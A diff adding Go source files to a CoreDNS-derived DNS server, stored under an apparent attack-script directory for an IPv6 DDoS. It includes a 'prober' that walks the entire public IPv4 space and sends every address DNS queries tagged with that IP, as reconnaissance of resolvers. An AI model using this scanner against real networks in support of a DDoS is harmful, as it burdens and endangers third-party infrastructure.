|
||||
ls.error(p.plugin, v...)
|
||||
p.log(err, v...)
|
||||
}
|
||||
|
||||
// Errorf logs as log.Errorf.
|
||||
func (p P) Errorf(format string, v ...interface{}) {
|
||||
ls.errorf(p.plugin, format, v...)
|
||||
p.logf(err, format, v...)
|
||||
}
|
||||
|
||||
// Fatal logs as log.Fatal and calls os.Exit(1).
|
||||
func (p P) Fatal(v ...interface{}) {
|
||||
ls.fatal(p.plugin, v...)
|
||||
p.log(fatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalf logs as log.Fatalf and calls os.Exit(1).
|
||||
func (p P) Fatalf(format string, v ...interface{}) {
|
||||
ls.fatalf(p.plugin, format, v...)
|
||||
p.logf(fatal, format, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
12
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go
Normal file
12
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package log
|
||||
|
||||
import "runtime"
|
||||
|
||||
// 获取运行时函数
|
||||
func RunFuncName() (string, int) {
|
||||
_, file, line, ok := runtime.Caller(1)
|
||||
if ok {
|
||||
return file, line
|
||||
}
|
||||
return "null", 0
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written.
|
||||
package nonwriter
|
||||
|
||||
import "github.com/miekg/dns"
|
||||
|
||||
// Writer is a type of ResponseWriter that captures the message, but never writes to the client.
|
||||
type Writer struct {
|
||||
dns.ResponseWriter
|
||||
Msg *dns.Msg
|
||||
}
|
||||
|
||||
// New makes and returns a new NonWriter.
|
||||
func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} }
|
||||
|
||||
// WriteMsg records the message, but doesn't write it itself.
|
||||
func (w *Writer) WriteMsg(res *dns.Msg) error {
|
||||
w.Msg = res
|
||||
return nil
|
||||
}
|
||||
121
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go
Normal file
121
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/miekg/dns"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed.
|
||||
var ErrNoNameservers = errors.New("no nameservers found")
|
||||
|
||||
// Strips the zone, but preserves any port that comes after the zone
|
||||
func stripZone(host string) string {
|
||||
if strings.Contains(host, "%") {
|
||||
lastPercent := strings.LastIndex(host, "%")
|
||||
newHost := host[:lastPercent]
|
||||
return newHost
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// HostPortOrFile parses the strings in s, each string can either be a
|
||||
// address, [scheme://]address:port or a filename. The address part is checked
|
||||
// and in case of filename a resolv.conf like file is (assumed) and parsed and
|
||||
// the nameservers found are returned.
|
||||
func HostPortOrFile(s ...string) ([]string, error) {
|
||||
var servers []string
|
||||
for _, h := range s {
|
||||
trans, host := Transport(h)
|
||||
if len(host) == 0 {
|
||||
return servers, fmt.Errorf("invalid address: %q", h)
|
||||
}
|
||||
|
||||
if trans == transport.UNIX {
|
||||
servers = append(servers, trans+"://"+host)
|
||||
continue
|
||||
}
|
||||
|
||||
addr, _, err := net.SplitHostPort(host)
|
||||
|
||||
if err != nil {
|
||||
// Parse didn't work, it is not a addr:port combo
|
||||
hostNoZone := stripZone(host)
|
||||
if net.ParseIP(hostNoZone) == nil {
|
||||
ss, err := tryFile(host)
|
||||
if err == nil {
|
||||
servers = append(servers, ss...)
|
||||
continue
|
||||
}
|
||||
return servers, fmt.Errorf("not an IP address or file: %q", host)
|
||||
}
|
||||
var ss string
|
||||
switch trans {
|
||||
case transport.DNS:
|
||||
ss = net.JoinHostPort(host, transport.Port)
|
||||
case transport.TLS:
|
||||
ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort)
|
||||
case transport.GRPC:
|
||||
ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort)
|
||||
case transport.HTTPS:
|
||||
ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort)
|
||||
}
|
||||
servers = append(servers, ss)
|
||||
continue
|
||||
}
|
||||
|
||||
if net.ParseIP(stripZone(addr)) == nil {
|
||||
ss, err := tryFile(host)
|
||||
if err == nil {
|
||||
servers = append(servers, ss...)
|
||||
continue
|
||||
}
|
||||
return servers, fmt.Errorf("not an IP address or file: %q", host)
|
||||
}
|
||||
servers = append(servers, h)
|
||||
}
|
||||
if len(servers) == 0 {
|
||||
return servers, ErrNoNameservers
|
||||
}
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// Try to open this is a file first.
|
||||
func tryFile(s string) ([]string, error) {
|
||||
c, err := dns.ClientConfigFromFile(s)
|
||||
if err == os.ErrNotExist {
|
||||
return nil, fmt.Errorf("failed to open file %q: %q", s, err)
|
||||
} else if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
servers := []string{}
|
||||
for _, s := range c.Servers {
|
||||
servers = append(servers, net.JoinHostPort(s, c.Port))
|
||||
}
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// HostPort will check if the host part is a valid IP address, if the
|
||||
// IP address is valid, but no port is found, defaultPort is added.
|
||||
func HostPort(s, defaultPort string) (string, error) {
|
||||
addr, port, err := net.SplitHostPort(s)
|
||||
if port == "" {
|
||||
port = defaultPort
|
||||
}
|
||||
if err != nil {
|
||||
if net.ParseIP(s) == nil {
|
||||
return "", fmt.Errorf("must specify an IP address: `%s'", s)
|
||||
}
|
||||
return net.JoinHostPort(s, port), nil
|
||||
}
|
||||
|
||||
if net.ParseIP(addr) == nil {
|
||||
return "", fmt.Errorf("must specify an IP address: `%s'", addr)
|
||||
}
|
||||
return net.JoinHostPort(addr, port), nil
|
||||
}
|
||||
37
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go
Normal file
37
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go
Normal file
@@ -0,0 +1,37 @@
|
||||
// Package parse contains functions that can be used in the setup code for plugins.
|
||||
package parse
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
)
|
||||
|
||||
// TransferIn parses transfer statements: 'transfer from [address...]'.
|
||||
func TransferIn(c *caddy.Controller) (froms []string, err error) {
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
value := c.Val()
|
||||
switch value {
|
||||
default:
|
||||
return nil, c.Errf("unknown property %s", value)
|
||||
case "from":
|
||||
froms = c.RemainingArgs()
|
||||
if len(froms) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
for i := range froms {
|
||||
if froms[i] != "*" {
|
||||
normalized, err := HostPort(froms[i], transport.Port)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
froms[i] = normalized
|
||||
} else {
|
||||
return nil, fmt.Errorf("can't use '*' in transfer from")
|
||||
}
|
||||
}
|
||||
}
|
||||
return froms, nil
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议,则默认为传输DNS(Do53)
|
||||
func Transport(s string) (trans string, addr string) {
|
||||
switch {
|
||||
case strings.HasPrefix(s, transport.TLS+"://"):
|
||||
s = s[len(transport.TLS+"://"):]
|
||||
return transport.TLS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.DNS+"://"):
|
||||
s = s[len(transport.DNS+"://"):]
|
||||
return transport.DNS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.GRPC+"://"):
|
||||
s = s[len(transport.GRPC+"://"):]
|
||||
return transport.GRPC, s
|
||||
|
||||
case strings.HasPrefix(s, transport.HTTPS+"://"):
|
||||
s = s[len(transport.HTTPS+"://"):]
|
||||
return transport.HTTPS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.UNIX+"://"):
|
||||
s = s[len(transport.UNIX+"://"):]
|
||||
return transport.UNIX, s
|
||||
case strings.HasPrefix(s, transport.PROBER+"://"):
|
||||
s = s[len(transport.PROBER+"://"):]
|
||||
return transport.PROBER, s
|
||||
}
|
||||
|
||||
return transport.DNS, s
|
||||
}
|
||||
30
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go
Normal file
30
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package prober
|
||||
|
||||
// 配置键值
|
||||
const (
|
||||
prange = "range"
|
||||
ptype = "ptype"
|
||||
ploop = "loop"
|
||||
pnet = "netType"
|
||||
pTimeout = 5
|
||||
PAddrNum = "addrNum"
|
||||
Pchain = "pchain"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultPrange = "global"
|
||||
defaultPtype = "v64"
|
||||
defaultTarget = "n64.top"
|
||||
defaultStartsubv64 = "v4-1"
|
||||
//defaultMaxGRout = 4000 //默认协程最大运行数
|
||||
defaultMaxDial = 5
|
||||
defaultPloop = false
|
||||
// defaultPnum 提供了一个全球探测的目的地址大致范围
|
||||
defaultPnum = 4000000000
|
||||
)
|
||||
|
||||
// TODO:实现功能
|
||||
// 检查输入参数是否有定义,0代表一切正常,1代表有严重错误,无法创建,2代表有额外未定义参数,但仍可创建
|
||||
func VaildArgs(args map[string][]string) (string, int) {
|
||||
return "OK", 0
|
||||
}
|
||||
150
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go
Normal file
150
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"github.com/miekg/dns"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"math"
|
||||
"net"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Prober struct {
|
||||
Prange []string `json:"prange"` // 探测范围
|
||||
Ptype string `json:"ptype"` // 探针类型
|
||||
AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数
|
||||
ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数
|
||||
Pid int `json:"pid"` // 探测器ID
|
||||
Loop bool `json:"loop"` //是否持续探测
|
||||
m *sync.Mutex
|
||||
stop context.CancelFunc // stop信号量
|
||||
removeFromPGList func() //从探测器列表中删除对应记录
|
||||
c *dns.Client
|
||||
}
|
||||
|
||||
// 新建探测器
|
||||
func NewProber(ctx context.Context) *Prober {
|
||||
p := new(Prober)
|
||||
|
||||
//配置探测器
|
||||
ok := true
|
||||
if p.Prange, ok = ctx.Value(prange).([]string); !ok {
|
||||
p.Prange[0] = defaultPrange
|
||||
}
|
||||
if p.Ptype, ok = ctx.Value(ptype).(string); !ok {
|
||||
p.Ptype = defaultPtype
|
||||
}
|
||||
if p.Loop, ok = ctx.Value(ploop).(bool); !ok {
|
||||
p.Loop = defaultPloop
|
||||
}
|
||||
if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok {
|
||||
p.AllAddrNum = defaultPnum
|
||||
}
|
||||
|
||||
// 配置客户端
|
||||
p.c = &dns.Client{
|
||||
Timeout: pTimeout,
|
||||
}
|
||||
switch ctx.Value(pnet) {
|
||||
case "tcp":
|
||||
p.c.Net = "tcp"
|
||||
case "tcp-tls":
|
||||
p.c.Net = "tcp-tls"
|
||||
// TODO:tls配置
|
||||
p.c.TLSConfig = &tls.Config{}
|
||||
default:
|
||||
break
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// Start 探测代码
|
||||
func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) {
|
||||
|
||||
var wg sync.WaitGroup
|
||||
|
||||
// 探测轮数
|
||||
round := 1
|
||||
if p.Loop {
|
||||
round = math.MaxInt
|
||||
}
|
||||
for {
|
||||
// 下一轮次的数据
|
||||
for {
|
||||
if ip, ok := <-target; ok {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
// 中途取消
|
||||
return
|
||||
default:
|
||||
err := pool.Submit(p.Probe(ctx, ip, &wg))
|
||||
if err != nil {
|
||||
olog.Errorf("prober/Start: %v", err.Error())
|
||||
return
|
||||
}
|
||||
p.addScanAddrNum()
|
||||
}
|
||||
} else {
|
||||
// 一轮扫描完成
|
||||
round -= 1
|
||||
// 探测轮数归零,退出
|
||||
if round == 0 {
|
||||
err := p.exit()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
// 未归零,开始下一轮
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Stop() error {
|
||||
p.stop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Prober) exit() error {
|
||||
p.removeFromPGList()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Prober) addScanAddrNum() {
|
||||
// 加锁防止数据错误
|
||||
p.m.Lock()
|
||||
p.ScanAddrNum += 1
|
||||
p.m.Unlock()
|
||||
}
|
||||
|
||||
// Probe 所有探测方法的封装方法
|
||||
func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() {
|
||||
msg := new(dns.Msg)
|
||||
pcf := ctx.Value(Pchain).(*PBConfig)
|
||||
return func() {
|
||||
// 将目标IP传入上下文
|
||||
ctx = context.WithValue(ctx, Target, ip)
|
||||
_, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg)
|
||||
wg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
//func (p *Prober) Probev64(ip net.IP) error {
|
||||
// msg := new(dns.Msg)
|
||||
// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT)
|
||||
// // TODO:展示响应内容
|
||||
// _, _, err := p.c.Exchange(msg, ip.String()+":53")
|
||||
// if err != nil {
|
||||
// return err
|
||||
// }
|
||||
// return nil
|
||||
//}
|
||||
|
||||
const (
|
||||
Paramkey = "httpparam"
|
||||
Target = "targetip"
|
||||
)
|
||||
@@ -0,0 +1,129 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PBConfig configuration for a single prober.
|
||||
type PBConfig struct {
|
||||
|
||||
// one or several hostnames to bind the server to.
|
||||
// defaults to a single empty string that denote the wildcard address
|
||||
ListenHosts []string
|
||||
|
||||
// The port to listen on.
|
||||
Port string
|
||||
|
||||
// Root points to a base directory we find user defined "things".
|
||||
// First consumer is the file plugin to looks for zone files in this place.
|
||||
Root string
|
||||
|
||||
// Debug controls the panic/recover mechanism that is enabled by default.
|
||||
Debug bool
|
||||
|
||||
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
|
||||
Stacktrace bool
|
||||
|
||||
// 使用的传输协议,目前为HTTP
|
||||
Transport string
|
||||
|
||||
// If this function is not nil it will be used to inspect and validate
|
||||
// HTTP requests. Although this isn't referenced in-tree, external plugins
|
||||
// may depend on it.
|
||||
HTTPRequestValidateFunc func(*http.Request) bool
|
||||
|
||||
// FilterFuncs is used to further filter access
|
||||
// to this handler. E.g. to limit access to a reverse zone
|
||||
// on a non-octet boundary, i.e. /17
|
||||
FilterFuncs []FilterFunc
|
||||
|
||||
// ViewName is the name of the Viewer PLugin defined in the Config
|
||||
ViewName string
|
||||
|
||||
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
|
||||
TLSConfig *tls.Config
|
||||
|
||||
// Timeouts for TCP, TLS and HTTPS servers.
|
||||
ReadTimeout time.Duration
|
||||
WriteTimeout time.Duration
|
||||
IdleTimeout time.Duration
|
||||
|
||||
// TSIG secrets, [name]key.
|
||||
TsigSecret map[string]string
|
||||
|
||||
// Plugin stack.
|
||||
Plugin []plugin.Pplugin
|
||||
|
||||
// Compiled plugin stack.
|
||||
PluginChain plugin.Prober
|
||||
|
||||
// Plugin interested in announcing that they exist, so other plugin can call methods
|
||||
// on them should register themselves here. The name should be the name as return by the
|
||||
// Handler's Name method.
|
||||
registry map[string]plugin.Prober
|
||||
|
||||
// FirstConfigInBlock is used to reference the first config in a server block, for the
|
||||
// purpose of sharing single instance of each plugin among all zones in a server block.
|
||||
FirstConfigInBlock *PBConfig
|
||||
|
||||
// MetaCollector references the first MetadataCollector plugin, if one exists
|
||||
MetaCollector ProberMetadataCollector
|
||||
}
|
||||
|
||||
// FilterFunc is a function that filters requests from the Config
|
||||
type FilterFunc func(context.Context, *request.HTTPRequest) bool
|
||||
|
||||
// KeyForConfig builds a key for identifying the configs during setup time
|
||||
func KeyForConfig(blocIndex int, blocKeyIndex int) string {
|
||||
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
|
||||
}
|
||||
|
||||
// AddPlugin adds a plugin to a site's plugin stack.
|
||||
func (pc PBConfig) AddPlugin(m plugin.Pplugin) {
|
||||
pc.Plugin = append(pc.Plugin, m)
|
||||
}
|
||||
|
||||
// registerHandler adds a prober to a site's prober registration.
|
||||
func (pc PBConfig) RegisterProber(p plugin.Prober) {
|
||||
if pc.registry == nil {
|
||||
pc.registry = make(map[string]plugin.Prober)
|
||||
}
|
||||
|
||||
// Just overwrite...
|
||||
pc.registry[p.Name()] = p
|
||||
}
|
||||
|
||||
// Handler returns the plugin handler that has been added to the config under its name.
|
||||
// This is useful to inspect if a certain plugin is active in this server.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (pc PBConfig) Handler(name string) plugin.Prober {
|
||||
if pc.registry == nil {
|
||||
return nil
|
||||
}
|
||||
if h, ok := pc.registry[name]; ok {
|
||||
return h
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handlers returns a slice of plugins that have been registered. This can be used to
|
||||
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (pc PBConfig) Handlers() []plugin.Prober {
|
||||
if pc.registry == nil {
|
||||
return nil
|
||||
}
|
||||
hs := make([]plugin.Prober, 0, len(pc.registry))
|
||||
for k := range pc.registry {
|
||||
hs = append(hs, pc.registry[k])
|
||||
}
|
||||
return hs
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
|
||||
type ProberMetadataCollector interface {
|
||||
Collect(context.Context, request.HTTPRequest) context.Context
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"net"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 探测器和协程状态列表
|
||||
type ProberAndGoroutList struct {
|
||||
Pl map[int]*Prober // 探测器
|
||||
GRPool *ants.Pool
|
||||
}
|
||||
|
||||
// 获取当前正在运行的探测器数量
|
||||
func (pl *ProberAndGoroutList) GetNum() int {
|
||||
return len(pl.Pl)
|
||||
}
|
||||
|
||||
// 增加一个探测器,并返回对应的pid
|
||||
func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string {
|
||||
//当前时间戳,作为探测器ID
|
||||
t := time.Now().Unix()
|
||||
//创建一个新的Prober对象
|
||||
p := NewProber(ctx)
|
||||
pctx, cancel := context.WithCancel(ctx)
|
||||
p.stop = cancel
|
||||
p.Pid = int(t)
|
||||
p.removeFromPGList = func() {
|
||||
err := pl.DeleteProberById(p.Pid)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
pl.Pl[int(t)] = p
|
||||
|
||||
if p.Prange[0] != defaultPrange {
|
||||
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype)
|
||||
} else {
|
||||
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype)
|
||||
}
|
||||
// 开始执行任务
|
||||
go p.Start(pctx, targetIP, pl.GRPool)
|
||||
|
||||
return strconv.Itoa(p.Pid)
|
||||
}
|
||||
|
||||
// 列举所有探测器信息
|
||||
func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) {
|
||||
rm := make(map[int]Prober)
|
||||
for k, v := range pl.Pl {
|
||||
rm[k] = *v
|
||||
}
|
||||
|
||||
return pl.GetNum(), rm, nil
|
||||
}
|
||||
|
||||
// DeleteProberById 根据探测器ID停止探测任务
|
||||
func (pl *ProberAndGoroutList) DeleteProberById(pid int) error {
|
||||
err := pl.Pl[pid].Stop()
|
||||
delete(pl.Pl, pid)
|
||||
if err != nil {
|
||||
panic("can't Stop prober " + strconv.Itoa(pid))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteAllProber 删除所有的运行的探测器,底层调用了DeleteProberById
|
||||
func (pl *ProberAndGoroutList) DeleteAllProber() error {
|
||||
for k, _ := range pl.Pl {
|
||||
err := pl.DeleteProberById(k)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProber 根据探测器对象找到对应探测ID并删除
|
||||
func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error {
|
||||
for k, v := range pl.Pl {
|
||||
if v == p {
|
||||
err := pl.DeleteProberById(k)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
olog.Error("未找到该探测器")
|
||||
return errors.New("not found this prober!!")
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/pochard/commons/randstr"
|
||||
)
|
||||
|
||||
// 数字到IP
|
||||
func uint32toIP4(ipInt uint32) string {
|
||||
// need to do two bit shifting and “0xff” masking
|
||||
b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10)
|
||||
b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10)
|
||||
b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10)
|
||||
b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10)
|
||||
return b0 + "." + b1 + "." + b2 + "." + b3
|
||||
}
|
||||
|
||||
// ip到数字
|
||||
func ip2Long(ip string) uint32 {
|
||||
var long uint32
|
||||
err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long)
|
||||
if err != nil {
|
||||
log.Errorf("proberutil/ip2long: %v", err.Error())
|
||||
return 0
|
||||
}
|
||||
return long
|
||||
}
|
||||
|
||||
// 生成可用于IPv4探测的地址
|
||||
func GenGlobIPv4() chan net.IP {
|
||||
c := make(chan net.IP)
|
||||
// 从1.0.0.0开始,到223.255.255.255结束(ICANN已分配地址)
|
||||
go func() {
|
||||
for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ {
|
||||
ip := net.ParseIP(uint32toIP4(n))
|
||||
// 地址全球单播且不是私有地址
|
||||
if ip.IsGlobalUnicast() && !ip.IsPrivate() {
|
||||
c <- ip
|
||||
}
|
||||
}
|
||||
close(c)
|
||||
}()
|
||||
return c
|
||||
}
|
||||
|
||||
// MakeProbe 生成探针的封装
|
||||
func (p *Prober) makeProbe(ip net.IP) string {
|
||||
if p.Ptype == defaultPtype {
|
||||
return MakeProbev64(ip)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 构造v64需要的探针
|
||||
func MakeProbev64(ip net.IP) string {
|
||||
ipstr := ip2Eid(ip)
|
||||
return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget)
|
||||
}
|
||||
|
||||
func MakeTestProbev64(subv64 string, targetzone string) string {
|
||||
ipstr := ip2Eid(net.ParseIP("0.0.0.0"))
|
||||
return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone)
|
||||
}
|
||||
|
||||
func ip2Eid(ip net.IP) string {
|
||||
i := ip.String()
|
||||
if strings.Contains(i, ":") {
|
||||
return strings.ReplaceAll(i, ":", "-")
|
||||
}
|
||||
return strings.ReplaceAll(i, ".", "-")
|
||||
}
|
||||
157
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go
Normal file
157
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go
Normal file
@@ -0,0 +1,157 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strconv"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// limitTimeout is a utility function to auto-tune timeout values
|
||||
// average observed time is moved towards the last observed delay moderated by a weight
|
||||
// next timeout to use will be the double of the computed average, limited by min and max frame.
|
||||
func limitTimeout(currentAvg *int64, minValue time.Duration, maxValue time.Duration) time.Duration {
|
||||
rt := time.Duration(atomic.LoadInt64(currentAvg))
|
||||
if rt < minValue {
|
||||
return minValue
|
||||
}
|
||||
if rt < maxValue/2 {
|
||||
return 2 * rt
|
||||
}
|
||||
return maxValue
|
||||
}
|
||||
|
||||
func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) {
|
||||
dt := time.Duration(atomic.LoadInt64(currentAvg))
|
||||
atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight)
|
||||
}
|
||||
|
||||
func (t *Transport) dialTimeout() time.Duration {
|
||||
return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout)
|
||||
}
|
||||
|
||||
func (t *Transport) updateDialTimeout(newDialTime time.Duration) {
|
||||
averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight)
|
||||
}
|
||||
|
||||
// Dial dials the address configured in transport, potentially reusing a connection or creating a new one.
|
||||
func (t *Transport) Dial(proto string) (*persistConn, bool, error) {
|
||||
// If tls has been configured; use it.
|
||||
if t.tlsConfig != nil {
|
||||
proto = "tcp-tls"
|
||||
}
|
||||
|
||||
t.dial <- proto
|
||||
pc := <-t.ret
|
||||
|
||||
if pc != nil {
|
||||
ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1)
|
||||
return pc, true, nil
|
||||
}
|
||||
ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1)
|
||||
|
||||
reqTime := time.Now()
|
||||
timeout := t.dialTimeout()
|
||||
if proto == "tcp-tls" {
|
||||
conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout)
|
||||
t.updateDialTimeout(time.Since(reqTime))
|
||||
return &persistConn{c: conn}, false, err
|
||||
}
|
||||
conn, err := dns.DialTimeout(proto, t.addr, timeout)
|
||||
t.updateDialTimeout(time.Since(reqTime))
|
||||
return &persistConn{c: conn}, false, err
|
||||
}
|
||||
|
||||
// Connect selects an upstream, sends the request and waits for a response.
|
||||
func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) {
|
||||
start := time.Now()
|
||||
|
||||
proto := ""
|
||||
switch {
|
||||
case opts.ForceTCP: // TCP flag has precedence over UDP flag
|
||||
proto = "tcp"
|
||||
case opts.PreferUDP:
|
||||
proto = "udp"
|
||||
default:
|
||||
proto = state.Proto()
|
||||
}
|
||||
|
||||
pc, cached, err := p.transport.Dial(proto)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Set buffer size correctly for this client.
|
||||
pc.c.UDPSize = uint16(state.Size())
|
||||
if pc.c.UDPSize < 512 {
|
||||
pc.c.UDPSize = 512
|
||||
}
|
||||
|
||||
pc.c.SetWriteDeadline(time.Now().Add(maxTimeout))
|
||||
// records the origin Id before upstream.
|
||||
originId := state.Req.Id
|
||||
state.Req.Id = dns.Id()
|
||||
defer func() {
|
||||
state.Req.Id = originId
|
||||
}()
|
||||
|
||||
if err := pc.c.WriteMsg(state.Req); err != nil {
|
||||
pc.c.Close() // not giving it back
|
||||
if err == io.EOF && cached {
|
||||
return nil, ErrCachedClosed
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var ret *dns.Msg
|
||||
pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut))
|
||||
for {
|
||||
ret, err = pc.c.ReadMsg()
|
||||
if err != nil {
|
||||
// For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed
|
||||
// spoofs from blocking the upstream response.
|
||||
// In the case this is a legitimate malformed response from the upstream, this will result in a timeout.
|
||||
